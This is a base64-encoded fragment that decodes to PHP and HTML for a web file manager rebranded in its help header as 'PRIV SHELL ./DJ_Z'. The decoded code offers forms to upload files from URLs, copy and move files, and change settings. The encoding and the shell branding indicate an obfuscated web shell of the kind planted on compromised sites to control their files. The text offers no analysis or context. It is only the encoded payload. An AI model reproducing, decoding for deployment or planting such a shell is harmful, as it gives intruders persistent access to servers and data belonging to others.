0PSJyZXR1cm4gdXBsb2FkX2Zyb21fdXJsKHRoaXMpOyIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0eXBlIiB2YWx1ZT0idXBsb2FkIiBhcmlhLWxhYmVsPSJoaWRkZW4iIGFyaWEtaGlkZGVuPSJ0cnVlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ1cmwiIHBsYWNlaG9sZGVyPSJVUkwiIG5hbWU9InVwbG9hZHVybCIgcmVxdWlyZWQgY2xhc3M9ImZvcm0tY29udHJvbCIgc3R5bGU9IndpZHRoOiA4MCUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkgbXMtMyI+PD9waHAgZWNobyBsbmcoJ1VwbG9hZCcpID8+PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJsZHMtZmFjZWJvb2siPjxkaXY+PC9kaXY+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9ImpzLXVybC11cGxvYWRfX2xpc3QiIGNsYXNzPSJjb2wtOSBtdC0zIj48L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZHJvcHpvbmUvNS45LjMvbWluL2Ryb3B6b25lLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdD4NCiAgICAgICAgRHJvcHpvbmUub3B0aW9ucy5maWxlVXBsb2FkZXIgPSB7DQogICAgICAgICAgICBjaHVua2luZzogdHJ1ZSwNCiAgICAgICAgICAgIGNodW5rU2l6ZTogMjAwMDAwMCwgLy8gY2h1bmsgc2l6ZSAyLDAwMCwwMDAgYnl0ZXMgKH4yTUIpDQogICAgICAgICAgICBmb3JjZUNodW5raW5nOiB0cnVlLA0KICAgICAgICAgICAgcmV0cnlDaHVua3M6IHRydWUsDQogICAgICAgICAgICByZXRyeUNodW5rc0xpbWl0OiAzLA0KICAgICAgICAgICAgcGFyYWxsZWxVcGxvYWRzOiAxLA0KICAgICAgICAgICAgcGFyYWxsZWxDaHVua1VwbG9hZHM6IGZhbHNlLA0KICAgICAgICAgICAgdGltZW91dDogMTIwMDAwLA0KICAgICAgICAgICAgbWF4RmlsZXNpemU6ICI8P3BocCBlY2hvIE1BWF9VUExPQURfU0laRTsgPz4iLA0KICAgICAgICAgICAgYWNjZXB0ZWRGaWxlcyA6ICI8P3BocCBlY2hvIGdldFVwbG9hZEV4dCgpID8+IiwNCiAgICAgICAgICAgIGluaXQ6IGZ1bmN0aW9uICgpIHsNCiAgICAgICAgICAgICAgICB0aGlzLm9uKCJzZW5kaW5nIiwgZnVuY3Rpb24gKGZpbGUsIHhociwgZm9ybURhdGEpIHsNCiAgICAgICAgICAgICAgICAgICAgbGV0IF9wYXRoID0gKGZpbGUuZnVsbFBhdGgpID8gZmlsZS5mdWxsUGF0aCA6IGZpbGUubmFtZTsNCiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImZ1bGxwYXRoIikudmFsdWUgPSBfcGF0aDsNCiAgICAgICAgICAgICAgICAgICAgeGhyLm9udGltZW91dCA9IChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KCdFcnJvcjogU2VydmVyIFRpbWVvdXQnKTsNCiAgICAgICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICAgfSkub24oInN1Y2Nlc3MiLCBmdW5jdGlvbiAocmVzKSB7DQogICAgICAgICAgICAgICAgICAgIGxldCBfcmVzcG9uc2UgPSBKU09OLnBhcnNlKHJlcy54aHIucmVzcG9uc2UpOw0KDQogICAgICAgICAgICAgICAgICAgIGlmKF9yZXNwb25zZS5zdGF0dXMgPT0gImVycm9yIikgew0KICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoX3Jlc3BvbnNlLmluZm8pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSkub24oImVycm9yIiwgZnVuY3Rpb24oZmlsZSwgcmVzcG9uc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgdG9hc3QocmVzcG9uc2UpOw0KICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgPC9zY3JpcHQ+DQogICAgPD9waHANCiAgICBmbV9zaG93X2Zvb3RlcigpOw0KICAgIGV4aXQ7DQp9DQoNCi8vIGNvcHkgZm9ybSBQT1NUDQppZiAoaXNzZXQoJF9QT1NUWydjb3B5J10pICYmICFGTV9SRUFET05MWSkgew0KICAgICRjb3B5X2ZpbGVzID0gaXNzZXQoJF9QT1NUWydmaWxlJ10pID8gJF9QT1NUWydmaWxlJ10gOiBudWxsOw0KICAgIGlmICghaXNfYXJyYXkoJGNvcHlfZmlsZXMpIHx8IGVtcHR5KCRjb3B5X2ZpbGVzKSkgew0KICAgICAgICBmbV9zZXRfbXNnKGxuZygnTm90aGluZyBzZWxlY3RlZCcpLCAnYWxlcnQnKTsNCiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOw0KICAgIH0NCg0KICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUg0KICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aA0KICAgID8+DQogICAgPGRpdiBjbGFzcz0icGF0aCI+DQogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1oZWFkZXIiPg0KICAgICAgICAgICAgICAgIDxoNj48P3BocCBlY2hvIGxuZygnQ29weWluZycpID8+PC9oNj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4NCiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icCIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmluaXNoIiB2YWx1ZT0iMSI+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRjb3B5X2ZpbGVzIGFzICRjZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZVtdIiB2YWx1ZT0iJyAuIGZtX2VuYygkY2YpIC4gJyI+JyAuIFBIUF9FT0w7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9ImJyZWFrLXdvcmQiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ0ZpbGVzJykgPz48L3N0cm9uZz46IDxiPjw/cGhwIGVjaG8gaW1wbG9kZSgnPC9iPiwgPGI+JywgJGNvcHlfZmlsZXMpID8+PC9iPjwvcD4NCiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9ImJyZWFrLXdvcmQiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ1NvdXJjZUZvbGRlcicpID8+PC9zdHJvbmc+OiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnLycgLiBGTV9QQVRIKSkgPz48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJpbnBfY29weV90byI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/Pjwvc3Ryb25nPjo8L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBGTV9ST09UX1BBVEggPz4vPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNvcHlfdG8iIGlkPSJpbnBfY29weV90byIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgPC9wPg0KICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iY3VzdG9tLWNoZWNrYm94IGN1c3RvbS1jb250cm9sIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im1vdmUiIHZhbHVlPSIxIiBpZD0ianMtbW92ZS1maWxlcyIgY2xhc3M9ImN1c3RvbS1jb250cm9sLWlucHV0Ij48bGFiZWwgZm9yPSJqcy1tb3ZlLWZpbGVzIiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtbGFiZWwgbXMtMiI+IDw/cGhwIGVjaG8gbG5nKCdNb3ZlJykgPz48L2xhYmVsPjwvcD4NCiAgICAgICAgICAgICAgICAgICAgPHA+DQogICAgICAgICAgICAgICAgICAgICAgICA8Yj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiIgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1kYW5nZXIiPjxpIGNsYXNzPSJmYSBmYS10aW1lcy1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PC9hPjwvYj4mbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIj48aSBjbGFzcz0iZmEgZmEtY2hlY2stY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDb3B5JykgPz48L2J1dHRvbj4gDQogICAgICAgICAgICAgICAgICAgIDwvcD4NCiAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQogICAgPD9waHANCiAgICBmbV9zaG93X2Zvb3RlcigpOw0KICAgIGV4aXQ7DQp9DQoNCi8vIGNvcHkgZm9ybQ0KaWYgKGlzc2V0KCRfR0VUWydjb3B5J10pICYmICFpc3NldCgkX0dFVFsnZmluaXNoJ10pICYmICFGTV9SRUFET05MWSkgew0KICAgICRjb3B5ID0gJF9HRVRbJ2NvcHknXTsNCiAgICAkY29weSA9IGZtX2NsZWFuX3BhdGgoJGNvcHkpOw0KICAgIGlmICgkY29weSA9PSAnJyB8fCAhZmlsZV9leGlzdHMoRk1fUk9PVF9QQVRIIC4gJy8nIC4gJGNvcHkpKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIE1hbmEgRmlsZT8/JyksICdlcnJvcicpOw0KICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7DQogICAgfQ0KDQogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSDQogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoDQogICAgPz4NCiAgICA8ZGl2IGNsYXNzPSJwYXRoIj4NCiAgICAgICAgPHA+PGI+Q29weWluZzwvYj48L3A+DQogICAgICAgIDxwIGNsYXNzPSJicmVhay13b3JkIj4NCiAgICAgICAgICAgIDxzdHJvbmc+U291cmNlIHBhdGg6PC9zdHJvbmc+IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1JPT1RfUEFUSCAuICcvJyAuICRjb3B5KSkgPz48YnI+DQogICAgICAgICAgICA8c3Ryb25nPkRlc3RpbmF0aW9uIGZvbGRlcjo8L3N0cm9uZz4gPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oRk1fUk9PVF9QQVRIIC4gJy8nIC4gRk1fUEFUSCkpID8+DQogICAgICAgIDwvcD4NCiAgICAgICAgPHA+DQogICAgICAgICAgICA8Yj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xIj48aSBjbGFzcz0iZmEgZmEtY2hlY2stY2lyY2xlIj48L2k+IENvcHk8L2E+PC9iPiAmbmJzcDsNCiAgICAgICAgICAgIDxiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjb3B5KSA/PiZhbXA7ZmluaXNoPTEmYW1wO21vdmU9MSI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiBNb3ZlPC9hPjwvYj4gJm5ic3A7DQogICAgICAgICAgICA8Yj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiIgY2xhc3M9InRleHQtZGFuZ2VyIj48aSBjbGFzcz0iZmEgZmEtdGltZXMtY2lyY2xlIj48L2k+IENhbmNlbDwvYT48L2I+DQogICAgICAgIDwvcD4NCiAgICAgICAgPHA+PGk+PD9waHAgZWNobyBsbmcoJ1NlbGVjdCBmb2xkZXInKSA/PjwvaT48L3A+DQogICAgICAgIDx1bCBjbGFzcz0iZm9sZGVycyBicmVhay13b3JkIj4NCiAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICBpZiAoJHBhcmVudCAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0Ij48L2k+IC4uPC9hPjwvbGk+DQogICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGZvcmVhY2ggKCRmb2xkZXJzIGFzICRmKSB7DQogICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICA8bGk+DQogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICcvJyAuICRmLCAnLycpKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1mb2xkZXItbyI+PC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKCRmKSA/PjwvYT48L2xpPg0KICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICB9DQogICAgICAgICAgICA/Pg0KICAgICAgICA8L3VsPg0KICAgIDwvZGl2Pg0KICAgIDw/cGhwDQogICAgZm1fc2hvd19mb290ZXIoKTsNCiAgICBleGl0Ow0KfQ0KDQppZiAoaXNzZXQoJF9HRVRbJ3NldHRpbmdzJ10pICYmICFGTV9SRUFET05MWSkgew0KICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUg0KICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aA0KICAgIGdsb2JhbCAkY2ZnLCAkbGFuZywgJGxhbmdfbGlzdDsNCiAgICA/Pg0KDQogICAgPGRpdiBjbGFzcz0iY29sLW1kLTggb2Zmc2V0LW1kLTIgcHQtMyI+DQogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgbWItMiA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiI+DQogICAgICAgICAgICA8aDYgY2xhc3M9ImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlbiI+DQogICAgICAgICAgICAgICAgPHNwYW4+PGkgY2xhc3M9ImZhIGZhLWNvZyI+PC9pPiAgPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48L3NwYW4+DQogICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD9waHAgZWNobyBGTV9QQVRIID8+IiBjbGFzcz0idGV4dC1kYW5nZXIiPjxpIGNsYXNzPSJmYSBmYS10aW1lcy1jaXJjbGUtbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ2FuY2VsJyk/PjwvYT4NCiAgICAgICAgICAgIDwvaDY+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPg0KICAgICAgICAgICAgICAgIDxmb3JtIGlkPSJqcy1zZXR0aW5ncy1mb3JtIiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBkYXRhLXR5cGU9ImFqYXgiIG9uc3VibWl0PSJyZXR1cm4gc2F2ZV9zZXR0aW5ncyh0aGlzKSI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InR5cGUiIHZhbHVlPSJzZXR0aW5ncyIgYXJpYS1sYWJlbD0iaGlkZGVuIiBhcmlhLWhpZGRlbj0idHJ1ZSI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgcm93Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImpzLWxhbmd1YWdlIiBjbGFzcz0iY29sLXNtLTMgY29sLWZvcm0tbGFiZWwiPjw/cGhwIGVjaG8gbG5nKCdMYW5ndWFnZScpID8+PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS01Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPSJmb3JtLXNlbGVjdCIgaWQ9ImpzLWxhbmd1YWdlIiBuYW1lPSJqcy1sYW5ndWFnZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFNlbGVjdGVkKCRsKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbG9iYWwgJGxhbmc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRsYW5nID09ICRsKSA/ICdzZWxlY3RlZCcgOiAnJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkbGFuZ19saXN0IGFzICRrID0+ICR2KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSckaycgIi5nZXRTZWxlY3RlZCgkaykuIj4kdjwvb3B0aW9uPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibXQtMyBtYi0zIHJvdyAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ianMtZXJyb3ItcmVwb3J0IiBjbGFzcz0iY29sLXNtLTMgY29sLWZvcm0tbGFiZWwiPjw/cGhwIGVjaG8gbG5nKCdFcnJvclJlcG9ydGluZycpID8+PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS05Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWNoZWNrIGZvcm0tc3dpdGNoIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iZm9ybS1jaGVjay1pbnB1dCIgdHlwZT0iY2hlY2tib3giIHJvbGU9InN3aXRjaCIgaWQ9ImpzLWVycm9yLXJlcG9ydCIgbmFtZT0ianMtZXJyb3ItcmVwb3J0IiB2YWx1ZT0idHJ1ZSIgPD9waHAgZWNobyAkcmVwb3J0X2Vycm9ycyA/ICdjaGVja2VkJyA6ICcnOyA/PiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMgcm93Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImpzLXNob3ctaGlkZGVuIiBjbGFzcz0iY29sLXNtLTMgY29sLWZvcm0tbGFiZWwiPjw/cGhwIGVjaG8gbG5nKCdTaG93SGlkZGVuRmlsZXMnKSA/PjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtc20tOSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1jaGVjayBmb3JtLXN3aXRjaCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImZvcm0tY2hlY2staW5wdXQiIHR5cGU9ImNoZWNrYm94IiByb2xlPSJzd2l0Y2giIGlkPSJqcy1zaG93LWhpZGRlbiIgbmFtZT0ianMtc2hvdy1oaWRkZW4iIHZhbHVlPSJ0cnVlIiA8P3BocCBlY2hvICRzaG93X2hpZGRlbl9maWxlcyA/ICdjaGVja2VkJyA6ICcnOyA/PiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMgcm93Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImpzLWhpZGUtY29scyIgY2xhc3M9ImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsIj48P3BocCBlY2hvIGxuZygnSGlkZUNvbHVtbnMnKSA/PjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtc20tOSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1jaGVjayBmb3JtLXN3aXRjaCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImZvcm0tY2hlY2staW5wdXQiIHR5cGU9ImNoZWNrYm94IiByb2xlPSJzd2l0Y2giIGlkPSJqcy1oaWRlLWNvbHMiIG5hbWU9ImpzLWhpZGUtY29scyIgdmFsdWU9InRydWUiIDw/cGhwIGVjaG8gJGhpZGVfQ29scyA/ICdjaGVja2VkJyA6ICcnOyA/PiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMgcm93Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImpzLTMtMSIgY2xhc3M9ImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsIj48P3BocCBlY2hvIGxuZygnVGhlbWUnKSA/PjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtc20tNSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz0iZm9ybS1zZWxlY3Qgdy0xMDAiIGlkPSJqcy0zLTAiIG5hbWU9ImpzLXRoZW1lLTMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSdsaWdodCcgPD9waHAgaWYoJHRoZW1lID09ICJsaWdodCIpe2VjaG8gInNlbGVjdGVkIjt9ID8+Pjw/cGhwIGVjaG8gbG5nKCdsaWdodCcpID8+PC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9J2RhcmsnIDw/cGhwIGlmKCR0aGVtZSA9PSAiZGFyayIpe2VjaG8gInNlbGVjdGVkIjt9ID8+Pjw/cGhwIGVjaG8gbG5nKCdkYXJrJykgPz48L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIHJvdyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtc20tMTAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIj4gPGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnU2F2ZScpOyA/PjwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIDw/cGhwDQogICAgZm1fc2hvd19mb290ZXIoKTsNCiAgICBleGl0Ow0KfQ0KDQppZiAoaXNzZXQoJF9HRVRbJ2hlbHAnXSkpIHsNCiAgICBmbV9zaG93X2hlYWRlcigpOyAvLyBIRUFERVINCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgNCiAgICBnbG9iYWwgJGNmZywgJGxhbmc7DQogICAgPz4NCg0KICAgIDxkaXYgY2xhc3M9ImNvbC1tZC04IG9mZnNldC1tZC0yIHB0LTMiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIG1iLTIgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iPg0KICAgICAgICAgICAgPGg2IGNsYXNzPSJjYXJkLWhlYWRlciBkLWZsZXgganVzdGlmeS1jb250ZW50LWJldHdlZW4iPg0KICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPSJmYSBmYS1leGNsYW1hdGlvbi1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/Pjwvc3Bhbj4NCiAgICAgICAgICAgICAgICA8YSBocmVmPSI/cD08P3BocCBlY2hvIEZNX1BBVEggPz4iIGNsYXNzPSJ0ZXh0LWRhbmdlciI+PGkgY2xhc3M9ImZhIGZhLXRpbWVzLWNpcmNsZS1vIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKT8+PC9hPg0KICAgICAgICAgICAgPC9oNj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXhzLTEyIGNvbC1zbS02Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxoMz48YSBocmVmPSJodHRwczovL2dpdGh1Yi5jb20vcHJhc2F0aG1hbmkvdGlueWZpbGVtYW5hZ2VyIiB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9ImFwcC12LXRpdGxlIj4gUFJJViBTSEVMTCAuL0RKX1ogPD9waHAgZWNobyBWRVJTSU9OOyA/PjwvYT48L2gzPjwvcD4NCiAgICAgICAgICAgICAgICAgIC